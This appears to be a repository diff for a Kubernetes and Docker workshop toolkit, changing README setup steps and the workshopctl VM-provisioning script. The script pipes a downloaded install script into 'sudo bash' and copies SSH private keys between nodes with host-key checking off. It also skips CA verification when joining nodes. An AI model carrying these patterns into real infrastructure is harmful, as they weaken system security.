- matchExpressions:
|
|
||||||
- key: kubernetes.io/hostname
|
|
||||||
operator: In
|
|
||||||
values:
|
|
||||||
- node3
|
|
||||||
---
|
|
||||||
apiVersion: v1
|
|
||||||
kind: PersistentVolume
|
|
||||||
metadata:
|
|
||||||
name: consul-node4
|
|
||||||
annotations:
|
|
||||||
node: node4
|
|
||||||
spec:
|
|
||||||
capacity:
|
|
||||||
storage: 10Gi
|
|
||||||
accessModes:
|
|
||||||
- ReadWriteOnce
|
|
||||||
persistentVolumeReclaimPolicy: Delete
|
|
||||||
local:
|
|
||||||
path: /mnt/consul
|
|
||||||
nodeAffinity:
|
|
||||||
required:
|
|
||||||
nodeSelectorTerms:
|
|
||||||
- matchExpressions:
|
|
||||||
- key: kubernetes.io/hostname
|
|
||||||
operator: In
|
|
||||||
values:
|
|
||||||
- node4
|
|
||||||
|
|
||||||
@@ -7,8 +7,8 @@ workshop.
|
|||||||
|
|
||||||
|
|
||||||
## 1. Prerequisites
|
## 1. Prerequisites
|
||||||
Virtualbox, Vagrant and Ansible
|
|
||||||
|
|
||||||
|
Virtualbox, Vagrant and Ansible
|
||||||
|
|
||||||
- Virtualbox: https://www.virtualbox.org/wiki/Downloads
|
- Virtualbox: https://www.virtualbox.org/wiki/Downloads
|
||||||
|
|
||||||
@@ -25,20 +25,19 @@ Virtualbox, Vagrant and Ansible
|
|||||||
|
|
||||||
$ git clone --recursive https://github.com/ansible/ansible.git
|
$ git clone --recursive https://github.com/ansible/ansible.git
|
||||||
$ cd ansible
|
$ cd ansible
|
||||||
$ git checkout stable-{{ getStableVersionFromAnsibleProject }}
|
$ git checkout stable-2.0.0.1
|
||||||
$ git submodule update
|
$ git submodule update
|
||||||
|
|
||||||
- source the setup script to make Ansible available on this terminal session:
|
- source the setup script to make Ansible available on this terminal session:
|
||||||
|
|
||||||
$ source path/to/your-ansible-clone/hacking/env-setup
|
$ source path/to/your-ansible-clone/hacking/env-setup
|
||||||
|
|
||||||
- you need to repeat the last step every time you open a new terminal session
|
- you need to repeat the last step everytime you open a new terminal session
|
||||||
and want to use any Ansible command (but you'll probably only need to run
|
and want to use any Ansible command (but you'll probably only need to run
|
||||||
it once).
|
it once).
|
||||||
|
|
||||||
|
|
||||||
## 2. Preparing the environment
|
## 2. Preparing the environment
|
||||||
Change into directory that has your Vagrantfile
|
|
||||||
|
|
||||||
Run the following commands:
|
Run the following commands:
|
||||||
|
|
||||||
@@ -67,14 +66,6 @@ will reflect inside the instance.
|
|||||||
|
|
||||||
- Depending on the Vagrant version, `sudo apt-get install bsdtar` may be needed
|
- Depending on the Vagrant version, `sudo apt-get install bsdtar` may be needed
|
||||||
|
|
||||||
- If you get an error like "no Vagrant file found" or you have a file but "cannot open base box" when running `vagrant up`,
|
|
||||||
chances are good you not in the correct directory.
|
|
||||||
Make sure you are in sub directory named "prepare-local". It has all the config files required by ansible, vagrant and virtualbox
|
|
||||||
|
|
||||||
- If you are using Python 3.7, running the ansible-playbook provisioning, see an error like "SyntaxError: invalid syntax" and it mentions
|
|
||||||
the word "async", you need to upgrade your Ansible version to 2.6 or higher to resolve the keyword conflict.
|
|
||||||
https://github.com/ansible/ansible/issues/42105
|
|
||||||
|
|
||||||
- If you get strange Ansible errors about dependencies, try to check your pip
|
- If you get strange Ansible errors about dependencies, try to check your pip
|
||||||
version with `pip --version`. The current version is 8.1.1. If your pip is
|
version with `pip --version`. The current version is 8.1.1. If your pip is
|
||||||
older than this, upgrade it with `sudo pip install --upgrade pip`, restart
|
older than this, upgrade it with `sudo pip install --upgrade pip`, restart
|
||||||
|
|||||||
@@ -10,21 +10,15 @@ These tools can help you to create VMs on:
|
|||||||
|
|
||||||
- [Docker](https://docs.docker.com/engine/installation/)
|
- [Docker](https://docs.docker.com/engine/installation/)
|
||||||
- [Docker Compose](https://docs.docker.com/compose/install/)
|
- [Docker Compose](https://docs.docker.com/compose/install/)
|
||||||
- [Parallel SSH](https://code.google.com/archive/p/parallel-ssh/) (on a Mac: `brew install pssh`)
|
- [Parallel SSH](https://code.google.com/archive/p/parallel-ssh/) (on a Mac: `brew install pssh`) - the configuration scripts require this
|
||||||
|
|
||||||
Depending on the infrastructure that you want to use, you also need to install
|
Depending on the infrastructure that you want to use, you also need to install
|
||||||
the Azure CLI, the AWS CLI, or terraform (for OpenStack deployment).
|
the Azure CLI, the AWS CLI, or terraform (for OpenStack deployment).
|
||||||
|
|
||||||
And if you want to generate printable cards:
|
And if you want to generate printable cards:
|
||||||
|
|
||||||
- [pyyaml](https://pypi.python.org/pypi/PyYAML)
|
- [pyyaml](https://pypi.python.org/pypi/PyYAML) (on a Mac: `brew install pyyaml`)
|
||||||
- [jinja2](https://pypi.python.org/pypi/Jinja2)
|
- [jinja2](https://pypi.python.org/pypi/Jinja2) (on a Mac: `brew install jinja2`)
|
||||||
|
|
||||||
You can install them with pip (perhaps with `pip install --user`, or even use `virtualenv` if that's your thing).
|
|
||||||
|
|
||||||
These require Python 3. If you are on a Mac, see below for specific instructions on setting up
|
|
||||||
Python 3 to be the default Python on a Mac. In particular, if you installed `mosh`, Homebrew
|
|
||||||
may have changed your default Python to Python 2.
|
|
||||||
|
|
||||||
## General Workflow
|
## General Workflow
|
||||||
|
|
||||||
@@ -93,37 +87,26 @@ You're all set!
|
|||||||
```
|
```
|
||||||
workshopctl - the orchestration workshop swiss army knife
|
workshopctl - the orchestration workshop swiss army knife
|
||||||
Commands:
|
Commands:
|
||||||
build Build the Docker image to run this program in a container
|
ami Show the AMI that will be used for deployment
|
||||||
cards Generate ready-to-print cards for a group of VMs
|
amis List Ubuntu AMIs in the current region
|
||||||
deploy Install Docker on a bunch of running VMs
|
build Build the Docker image to run this program in a container
|
||||||
disableaddrchecks Disable source/destination IP address checks
|
cards Generate ready-to-print cards for a group of VMs
|
||||||
disabledocker Stop Docker Engine and don't restart it automatically
|
deploy Install Docker on a bunch of running VMs
|
||||||
helmprom Install Helm and Prometheus
|
ec2quotas Check our EC2 quotas (max instances)
|
||||||
help Show available commands
|
help Show available commands
|
||||||
ids (FIXME) List the instance IDs belonging to a given tag or token
|
ids List the instance IDs belonging to a given tag or token
|
||||||
kubebins Install Kubernetes and CNI binaries but don't start anything
|
ips List the IP addresses of the VMs for a given tag or token
|
||||||
kubereset Wipe out Kubernetes configuration on all nodes
|
kube Setup kubernetes clusters with kubeadm (must be run AFTER deploy)
|
||||||
kube Setup kubernetes clusters with kubeadm (must be run AFTER deploy)
|
kubetest Check that all notes are reporting as Ready
|
||||||
kubetest Check that all nodes are reporting as Ready
|
list List available groups in the current region
|
||||||
listall List VMs running on all configured infrastructures
|
opensg Open the default security group to ALL ingress traffic
|
||||||
list List available groups for a given infrastructure
|
pull_images Pre-pull a bunch of Docker images
|
||||||
netfix Disable GRO and run a pinger job on the VMs
|
retag Apply a new tag to a group of VMs
|
||||||
opensg Open the default security group to ALL ingress traffic
|
start Start a group of VMs
|
||||||
ping Ping VMs in a given tag, to check that they have network access
|
status List instance status for a given group
|
||||||
pssh Run an arbitrary command on all nodes
|
stop Stop (terminate, shutdown, kill, remove, destroy...) instances
|
||||||
pull_images Pre-pull a bunch of Docker images
|
test Run tests (pre-flight checks) on a group of VMs
|
||||||
quotas Check our infrastructure quotas (max instances)
|
wrap Run this program in a container
|
||||||
remap_nodeports Remap NodePort range to 10000-10999
|
|
||||||
retag (FIXME) Apply a new tag to a group of VMs
|
|
||||||
ssh Open an SSH session to the first node of a tag
|
|
||||||
start Start a group of VMs
|
|
||||||
stop Stop (terminate, shutdown, kill, remove, destroy...) instances
|
|
||||||
tags List groups of VMs known locally
|
|
||||||
test Run tests (pre-flight checks) on a group of VMs
|
|
||||||
weavetest Check that weave seems properly setup
|
|
||||||
webssh Install a WEB SSH server on the machines (port 1080)
|
|
||||||
wrap Run this program in a container
|
|
||||||
www Run a web server to access card HTML and PDF
|
|
||||||
```
|
```
|
||||||
|
|
||||||
### Summary of What `./workshopctl` Does For You
|
### Summary of What `./workshopctl` Does For You
|
||||||
@@ -262,32 +245,3 @@ If you don't have `wkhtmltopdf` installed, you will get a warning that it is a m
|
|||||||
|
|
||||||
- Don't write to bash history in system() in postprep
|
- Don't write to bash history in system() in postprep
|
||||||
- compose, etc version inconsistent (int vs str)
|
- compose, etc version inconsistent (int vs str)
|
||||||
|
|
||||||
## Making sure Python3 is the default (Mac only)
|
|
||||||
|
|
||||||
Check the `/usr/local/bin/python` symlink. It should be pointing to
|
|
||||||
`/usr/local/Cellar/python/3`-something. If it isn't, follow these
|
|
||||||
instructions.
|
|
||||||
|
|
||||||
1) Verify that Python 3 is installed.
|
|
||||||
|
|
||||||
```
|
|
||||||
ls -la /usr/local/Cellar/Python
|
|
||||||
```
|
|
||||||
|
|
||||||
You should see one or more versions of Python 3. If you don't,
|
|
||||||
install it with `brew install python`.
|
|
||||||
|
|
||||||
2) Verify that `python` points to Python3.
|
|
||||||
|
|
||||||
```
|
|
||||||
ls -la /usr/local/bin/python
|
|
||||||
```
|
|
||||||
|
|
||||||
If this points to `/usr/local/Cellar/python@2`, then we'll need to change it.
|
|
||||||
|
|
||||||
```
|
|
||||||
rm /usr/local/bin/python
|
|
||||||
ln -s /usr/local/Cellar/Python/xxxx /usr/local/bin/python
|
|
||||||
# where xxxx is the most recent Python 3 version you saw above
|
|
||||||
```
|
|
||||||
|
|||||||
@@ -1,10 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
set -e
|
|
||||||
TAG=$(./workshopctl maketag)
|
|
||||||
./workshopctl start --settings settings/jerome.yaml --infra infra/aws-eu-central-1 --tag $TAG
|
|
||||||
./workshopctl deploy $TAG
|
|
||||||
./workshopctl kube $TAG
|
|
||||||
./workshopctl helmprom $TAG
|
|
||||||
while ! ./workshopctl kubetest $TAG; do sleep 1; done
|
|
||||||
./workshopctl tmux $TAG
|
|
||||||
echo ./workshopctl stop $TAG
|
|
||||||
@@ -2,7 +2,7 @@ export AWS_DEFAULT_OUTPUT=text
|
|||||||
|
|
||||||
HELP=""
|
HELP=""
|
||||||
_cmd() {
|
_cmd() {
|
||||||
HELP="$(printf "%s\n%-20s %s\n" "$HELP" "$1" "$2")"
|
HELP="$(printf "%s\n%-12s %s\n" "$HELP" "$1" "$2")"
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd help "Show available commands"
|
_cmd help "Show available commands"
|
||||||
@@ -33,14 +33,9 @@ _cmd_cards() {
|
|||||||
../../lib/ips-txt-to-html.py settings.yaml
|
../../lib/ips-txt-to-html.py settings.yaml
|
||||||
)
|
)
|
||||||
|
|
||||||
ln -sf ../tags/$TAG/ips.html www/$TAG.html
|
|
||||||
ln -sf ../tags/$TAG/ips.pdf www/$TAG.pdf
|
|
||||||
|
|
||||||
info "Cards created. You can view them with:"
|
info "Cards created. You can view them with:"
|
||||||
info "xdg-open tags/$TAG/ips.html tags/$TAG/ips.pdf (on Linux)"
|
info "xdg-open tags/$TAG/ips.html tags/$TAG/ips.pdf (on Linux)"
|
||||||
info "open tags/$TAG/ips.html (on macOS)"
|
info "open tags/$TAG/ips.html (on macOS)"
|
||||||
info "Or you can start a web server with:"
|
|
||||||
info "$0 www"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd deploy "Install Docker on a bunch of running VMs"
|
_cmd deploy "Install Docker on a bunch of running VMs"
|
||||||
@@ -79,10 +74,10 @@ _cmd_deploy() {
|
|||||||
pssh -I sudo tee /usr/local/bin/docker-prompt <lib/docker-prompt
|
pssh -I sudo tee /usr/local/bin/docker-prompt <lib/docker-prompt
|
||||||
pssh sudo chmod +x /usr/local/bin/docker-prompt
|
pssh sudo chmod +x /usr/local/bin/docker-prompt
|
||||||
|
|
||||||
# If /home/docker/.ssh/id_rsa doesn't exist, copy it from the first node
|
# If /home/docker/.ssh/id_rsa doesn't exist, copy it from node1
|
||||||
pssh "
|
pssh "
|
||||||
sudo -u docker [ -f /home/docker/.ssh/id_rsa ] ||
|
sudo -u docker [ -f /home/docker/.ssh/id_rsa ] ||
|
||||||
ssh -o StrictHostKeyChecking=no \$(cat /etc/name_of_first_node) sudo -u docker tar -C /home/docker -cvf- .ssh |
|
ssh -o StrictHostKeyChecking=no node1 sudo -u docker tar -C /home/docker -cvf- .ssh |
|
||||||
sudo -u docker tar -C /home/docker -xf-"
|
sudo -u docker tar -C /home/docker -xf-"
|
||||||
|
|
||||||
# if 'docker@' doesn't appear in /home/docker/.ssh/authorized_keys, copy it there
|
# if 'docker@' doesn't appear in /home/docker/.ssh/authorized_keys, copy it there
|
||||||
@@ -91,11 +86,11 @@ _cmd_deploy() {
|
|||||||
cat /home/docker/.ssh/id_rsa.pub |
|
cat /home/docker/.ssh/id_rsa.pub |
|
||||||
sudo -u docker tee -a /home/docker/.ssh/authorized_keys"
|
sudo -u docker tee -a /home/docker/.ssh/authorized_keys"
|
||||||
|
|
||||||
# On the first node, create and deploy TLS certs using Docker Machine
|
# On node1, create and deploy TLS certs using Docker Machine
|
||||||
# (Currently disabled.)
|
# (Currently disabled.)
|
||||||
true || pssh "
|
true || pssh "
|
||||||
if i_am_first_node; then
|
if grep -q node1 /tmp/node; then
|
||||||
grep '[0-9]\$' /etc/hosts |
|
grep ' node' /etc/hosts |
|
||||||
xargs -n2 sudo -H -u docker \
|
xargs -n2 sudo -H -u docker \
|
||||||
docker-machine create -d generic --generic-ssh-user docker --generic-ip-address
|
docker-machine create -d generic --generic-ssh-user docker --generic-ip-address
|
||||||
fi"
|
fi"
|
||||||
@@ -108,62 +103,11 @@ _cmd_deploy() {
|
|||||||
info "$0 cards $TAG"
|
info "$0 cards $TAG"
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd disabledocker "Stop Docker Engine and don't restart it automatically"
|
|
||||||
_cmd_disabledocker() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
|
|
||||||
pssh "
|
|
||||||
sudo systemctl disable docker.service
|
|
||||||
sudo systemctl disable docker.socket
|
|
||||||
sudo systemctl stop docker
|
|
||||||
sudo killall containerd
|
|
||||||
"
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd kubebins "Install Kubernetes and CNI binaries but don't start anything"
|
|
||||||
_cmd_kubebins() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
|
|
||||||
pssh --timeout 300 "
|
|
||||||
set -e
|
|
||||||
cd /usr/local/bin
|
|
||||||
if ! [ -x etcd ]; then
|
|
||||||
##VERSION##
|
|
||||||
curl -L https://github.com/etcd-io/etcd/releases/download/v3.4.3/etcd-v3.4.3-linux-amd64.tar.gz \
|
|
||||||
| sudo tar --strip-components=1 --wildcards -zx '*/etcd' '*/etcdctl'
|
|
||||||
fi
|
|
||||||
if ! [ -x hyperkube ]; then
|
|
||||||
##VERSION##
|
|
||||||
curl -L https://dl.k8s.io/v1.17.2/kubernetes-server-linux-amd64.tar.gz \
|
|
||||||
| sudo tar --strip-components=3 -zx \
|
|
||||||
kubernetes/server/bin/kube{ctl,let,-proxy,-apiserver,-scheduler,-controller-manager}
|
|
||||||
fi
|
|
||||||
sudo mkdir -p /opt/cni/bin
|
|
||||||
cd /opt/cni/bin
|
|
||||||
if ! [ -x bridge ]; then
|
|
||||||
curl -L https://github.com/containernetworking/plugins/releases/download/v0.7.6/cni-plugins-amd64-v0.7.6.tgz \
|
|
||||||
| sudo tar -zx
|
|
||||||
fi
|
|
||||||
"
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd kube "Setup kubernetes clusters with kubeadm (must be run AFTER deploy)"
|
_cmd kube "Setup kubernetes clusters with kubeadm (must be run AFTER deploy)"
|
||||||
_cmd_kube() {
|
_cmd_kube() {
|
||||||
TAG=$1
|
TAG=$1
|
||||||
need_tag
|
need_tag
|
||||||
|
|
||||||
# Optional version, e.g. 1.13.5
|
|
||||||
KUBEVERSION=$2
|
|
||||||
if [ "$KUBEVERSION" ]; then
|
|
||||||
EXTRA_APTGET="=$KUBEVERSION-00"
|
|
||||||
EXTRA_KUBEADM="--kubernetes-version=v$KUBEVERSION"
|
|
||||||
else
|
|
||||||
EXTRA_APTGET=""
|
|
||||||
EXTRA_KUBEADM=""
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Install packages
|
# Install packages
|
||||||
pssh --timeout 200 "
|
pssh --timeout 200 "
|
||||||
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg |
|
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg |
|
||||||
@@ -172,19 +116,19 @@ _cmd_kube() {
|
|||||||
sudo tee /etc/apt/sources.list.d/kubernetes.list"
|
sudo tee /etc/apt/sources.list.d/kubernetes.list"
|
||||||
pssh --timeout 200 "
|
pssh --timeout 200 "
|
||||||
sudo apt-get update -q &&
|
sudo apt-get update -q &&
|
||||||
sudo apt-get install -qy kubelet$EXTRA_APTGET kubeadm$EXTRA_APTGET kubectl$EXTRA_APTGET &&
|
sudo apt-get install -qy kubelet kubeadm kubectl &&
|
||||||
kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl"
|
kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl"
|
||||||
|
|
||||||
# Initialize kube master
|
# Initialize kube master
|
||||||
pssh --timeout 200 "
|
pssh --timeout 200 "
|
||||||
if i_am_first_node && [ ! -f /etc/kubernetes/admin.conf ]; then
|
if grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/admin.conf ]; then
|
||||||
kubeadm token generate > /tmp/token &&
|
kubeadm token generate > /tmp/token &&
|
||||||
sudo kubeadm init $EXTRA_KUBEADM --token \$(cat /tmp/token) --apiserver-cert-extra-sans \$(cat /tmp/ipv4)
|
sudo kubeadm init --token \$(cat /tmp/token)
|
||||||
fi"
|
fi"
|
||||||
|
|
||||||
# Put kubeconfig in ubuntu's and docker's accounts
|
# Put kubeconfig in ubuntu's and docker's accounts
|
||||||
pssh "
|
pssh "
|
||||||
if i_am_first_node; then
|
if grep -q node1 /tmp/node; then
|
||||||
sudo mkdir -p \$HOME/.kube /home/docker/.kube &&
|
sudo mkdir -p \$HOME/.kube /home/docker/.kube &&
|
||||||
sudo cp /etc/kubernetes/admin.conf \$HOME/.kube/config &&
|
sudo cp /etc/kubernetes/admin.conf \$HOME/.kube/config &&
|
||||||
sudo cp /etc/kubernetes/admin.conf /home/docker/.kube/config &&
|
sudo cp /etc/kubernetes/admin.conf /home/docker/.kube/config &&
|
||||||
@@ -194,23 +138,16 @@ _cmd_kube() {
|
|||||||
|
|
||||||
# Install weave as the pod network
|
# Install weave as the pod network
|
||||||
pssh "
|
pssh "
|
||||||
if i_am_first_node; then
|
if grep -q node1 /tmp/node; then
|
||||||
kubever=\$(kubectl version | base64 | tr -d '\n') &&
|
kubever=\$(kubectl version | base64 | tr -d '\n') &&
|
||||||
kubectl apply -f https://cloud.weave.works/k8s/net?k8s-version=\$kubever
|
kubectl apply -f https://cloud.weave.works/k8s/net?k8s-version=\$kubever
|
||||||
fi"
|
fi"
|
||||||
|
|
||||||
# Join the other nodes to the cluster
|
# Join the other nodes to the cluster
|
||||||
pssh --timeout 200 "
|
pssh --timeout 200 "
|
||||||
if ! i_am_first_node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
|
if ! grep -q node1 /tmp/node && [ ! -f /etc/kubernetes/kubelet.conf ]; then
|
||||||
FIRSTNODE=\$(cat /etc/name_of_first_node) &&
|
TOKEN=\$(ssh -o StrictHostKeyChecking=no node1 cat /tmp/token) &&
|
||||||
TOKEN=\$(ssh -o StrictHostKeyChecking=no \$FIRSTNODE cat /tmp/token) &&
|
sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN node1:6443
|
||||||
sudo kubeadm join --discovery-token-unsafe-skip-ca-verification --token \$TOKEN \$FIRSTNODE:6443
|
|
||||||
fi"
|
|
||||||
|
|
||||||
# Install metrics server
|
|
||||||
pssh "
|
|
||||||
if i_am_first_node; then
|
|
||||||
kubectl apply -f https://raw.githubusercontent.com/jpetazzo/container.training/master/k8s/metrics-server.yaml
|
|
||||||
fi"
|
fi"
|
||||||
|
|
||||||
# Install kubectx and kubens
|
# Install kubectx and kubens
|
||||||
@@ -234,7 +171,7 @@ EOF"
|
|||||||
pssh "
|
pssh "
|
||||||
if [ ! -x /usr/local/bin/stern ]; then
|
if [ ! -x /usr/local/bin/stern ]; then
|
||||||
##VERSION##
|
##VERSION##
|
||||||
sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.11.0/stern_linux_amd64 &&
|
sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.10.0/stern_linux_amd64 &&
|
||||||
sudo chmod +x /usr/local/bin/stern &&
|
sudo chmod +x /usr/local/bin/stern &&
|
||||||
stern --completion bash | sudo tee /etc/bash_completion.d/stern
|
stern --completion bash | sudo tee /etc/bash_completion.d/stern
|
||||||
fi"
|
fi"
|
||||||
@@ -242,26 +179,10 @@ EOF"
|
|||||||
# Install helm
|
# Install helm
|
||||||
pssh "
|
pssh "
|
||||||
if [ ! -x /usr/local/bin/helm ]; then
|
if [ ! -x /usr/local/bin/helm ]; then
|
||||||
curl https://raw.githubusercontent.com/kubernetes/helm/master/scripts/get-helm-3 | sudo bash &&
|
curl https://raw.githubusercontent.com/kubernetes/helm/master/scripts/get | sudo bash &&
|
||||||
helm completion bash | sudo tee /etc/bash_completion.d/helm
|
helm completion bash | sudo tee /etc/bash_completion.d/helm
|
||||||
fi"
|
fi"
|
||||||
|
|
||||||
# Install ship
|
|
||||||
pssh "
|
|
||||||
if [ ! -x /usr/local/bin/ship ]; then
|
|
||||||
##VERSION##
|
|
||||||
curl -L https://github.com/replicatedhq/ship/releases/download/v0.40.0/ship_0.40.0_linux_amd64.tar.gz |
|
|
||||||
sudo tar -C /usr/local/bin -zx ship
|
|
||||||
fi"
|
|
||||||
|
|
||||||
# Install the AWS IAM authenticator
|
|
||||||
pssh "
|
|
||||||
if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then
|
|
||||||
##VERSION##
|
|
||||||
sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator
|
|
||||||
sudo chmod +x /usr/local/bin/aws-iam-authenticator
|
|
||||||
fi"
|
|
||||||
|
|
||||||
sep "Done"
|
sep "Done"
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -282,9 +203,10 @@ _cmd_kubetest() {
|
|||||||
# Feel free to make that better ♥
|
# Feel free to make that better ♥
|
||||||
pssh "
|
pssh "
|
||||||
set -e
|
set -e
|
||||||
if i_am_first_node; then
|
[ -f /tmp/node ]
|
||||||
|
if grep -q node1 /tmp/node; then
|
||||||
which kubectl
|
which kubectl
|
||||||
for NODE in \$(awk /[0-9]\$/\ {print\ \\\$2} /etc/hosts); do
|
for NODE in \$(awk /\ node/\ {print\ \\\$2} /etc/hosts); do
|
||||||
echo \$NODE ; kubectl get nodes | grep -w \$NODE | grep -w Ready
|
echo \$NODE ; kubectl get nodes | grep -w \$NODE | grep -w Ready
|
||||||
done
|
done
|
||||||
fi"
|
fi"
|
||||||
@@ -324,23 +246,6 @@ _cmd_listall() {
|
|||||||
done
|
done
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd maketag "Generate a quasi-unique tag for a group of instances"
|
|
||||||
_cmd_maketag() {
|
|
||||||
if [ -z $USER ]; then
|
|
||||||
export USER=anonymous
|
|
||||||
fi
|
|
||||||
MS=$(($(date +%N)/1000000))
|
|
||||||
date +%Y-%m-%d-%H-%M-$MS-$USER
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd ping "Ping VMs in a given tag, to check that they have network access"
|
|
||||||
_cmd_ping() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
|
|
||||||
fping < tags/$TAG/ips.txt
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd netfix "Disable GRO and run a pinger job on the VMs"
|
_cmd netfix "Disable GRO and run a pinger job on the VMs"
|
||||||
_cmd_netfix () {
|
_cmd_netfix () {
|
||||||
TAG=$1
|
TAG=$1
|
||||||
@@ -366,58 +271,12 @@ EOF
|
|||||||
sudo systemctl start pinger"
|
sudo systemctl start pinger"
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd tailhist "Install history viewer on port 1088"
|
|
||||||
_cmd_tailhist () {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
|
|
||||||
pssh "
|
|
||||||
wget https://github.com/joewalnes/websocketd/releases/download/v0.3.0/websocketd-0.3.0_amd64.deb
|
|
||||||
sudo dpkg -i websocketd-0.3.0_amd64.deb
|
|
||||||
sudo mkdir -p /tmp/tailhist
|
|
||||||
sudo tee /root/tailhist.service <<EOF
|
|
||||||
[Unit]
|
|
||||||
Description=tailhist
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
WorkingDirectory=/tmp/tailhist
|
|
||||||
ExecStart=/usr/bin/websocketd --port=1088 --staticdir=. sh -c \"tail -n +1 -f /home/docker/.history || echo 'Could not read history file. Perhaps you need to \\\"chmod +r .history\\\"?'\"
|
|
||||||
User=nobody
|
|
||||||
Group=nogroup
|
|
||||||
Restart=always
|
|
||||||
EOF
|
|
||||||
sudo systemctl enable /root/tailhist.service
|
|
||||||
sudo systemctl start tailhist"
|
|
||||||
pssh -I sudo tee /tmp/tailhist/index.html <lib/tailhist.html
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd opensg "Open the default security group to ALL ingress traffic"
|
_cmd opensg "Open the default security group to ALL ingress traffic"
|
||||||
_cmd_opensg() {
|
_cmd_opensg() {
|
||||||
need_infra $1
|
need_infra $1
|
||||||
infra_opensg
|
infra_opensg
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd portworx "Prepare the nodes for Portworx deployment"
|
|
||||||
_cmd_portworx() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
|
|
||||||
pssh "
|
|
||||||
sudo truncate --size 10G /portworx.blk &&
|
|
||||||
sudo losetup /dev/loop4 /portworx.blk"
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd disableaddrchecks "Disable source/destination IP address checks"
|
|
||||||
_cmd_disableaddrchecks() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
|
|
||||||
infra_disableaddrchecks
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd pssh "Run an arbitrary command on all nodes"
|
_cmd pssh "Run an arbitrary command on all nodes"
|
||||||
_cmd_pssh() {
|
_cmd_pssh() {
|
||||||
TAG=$1
|
TAG=$1
|
||||||
@@ -434,20 +293,6 @@ _cmd_pull_images() {
|
|||||||
pull_tag
|
pull_tag
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd remap_nodeports "Remap NodePort range to 10000-10999"
|
|
||||||
_cmd_remap_nodeports() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
|
|
||||||
FIND_LINE=" - --service-cluster-ip-range=10.96.0.0\/12"
|
|
||||||
ADD_LINE=" - --service-node-port-range=10000-10999"
|
|
||||||
MANIFEST_FILE=/etc/kubernetes/manifests/kube-apiserver.yaml
|
|
||||||
pssh "
|
|
||||||
if i_am_first_node && ! grep -q '$ADD_LINE' $MANIFEST_FILE; then
|
|
||||||
sudo sed -i 's/\($FIND_LINE\)\$/\1\n$ADD_LINE/' $MANIFEST_FILE
|
|
||||||
fi"
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd quotas "Check our infrastructure quotas (max instances)"
|
_cmd quotas "Check our infrastructure quotas (max instances)"
|
||||||
_cmd_quotas() {
|
_cmd_quotas() {
|
||||||
need_infra $1
|
need_infra $1
|
||||||
@@ -466,15 +311,6 @@ _cmd_retag() {
|
|||||||
aws_tag_instances $OLDTAG $NEWTAG
|
aws_tag_instances $OLDTAG $NEWTAG
|
||||||
}
|
}
|
||||||
|
|
||||||
_cmd ssh "Open an SSH session to the first node of a tag"
|
|
||||||
_cmd_ssh() {
|
|
||||||
TAG=$1
|
|
||||||
need_tag
|
|
||||||
IP=$(head -1 tags/$TAG/ips.txt)
|
|
||||||
info "Logging into $IP"
|
|
||||||
ssh docker@$IP
|
|
||||||
}
|
|
||||||
|
|
||||||
_cmd start "Start a group of VMs"
|
_cmd start "Start a group of VMs"
|
||||||
_cmd_start() {
|
_cmd_start() {
|
||||||
while [ ! -z "$*" ]; do
|
while [ ! -z "$*" ]; do
|
||||||
@@ -486,7 +322,7 @@ _cmd_start() {
|
|||||||
*) die "Unrecognized parameter: $1."
|
*) die "Unrecognized parameter: $1."
|
||||||
esac
|
esac
|
||||||
done
|
done
|
||||||
|
|
||||||
if [ -z "$INFRA" ]; then
|
if [ -z "$INFRA" ]; then
|
||||||
die "Please add --infra flag to specify which infrastructure file to use."
|
die "Please add --infra flag to specify which infrastructure file to use."
|
||||||
fi
|
fi
|
||||||
@@ -497,13 +333,13 @@ _cmd_start() {
|
|||||||
COUNT=$(awk '/^clustersize:/ {print $2}' $SETTINGS)
|
COUNT=$(awk '/^clustersize:/ {print $2}' $SETTINGS)
|
||||||
warning "No --count option was specified. Using value from settings file ($COUNT)."
|
warning "No --count option was specified. Using value from settings file ($COUNT)."
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Check that the specified settings and infrastructure are valid.
|
# Check that the specified settings and infrastructure are valid.
|
||||||
need_settings $SETTINGS
|
need_settings $SETTINGS
|
||||||
need_infra $INFRA
|
need_infra $INFRA
|
||||||
|
|
||||||
if [ -z "$TAG" ]; then
|
if [ -z "$TAG" ]; then
|
||||||
TAG=$(_cmd_maketag)
|
TAG=$(make_tag)
|
||||||
fi
|
fi
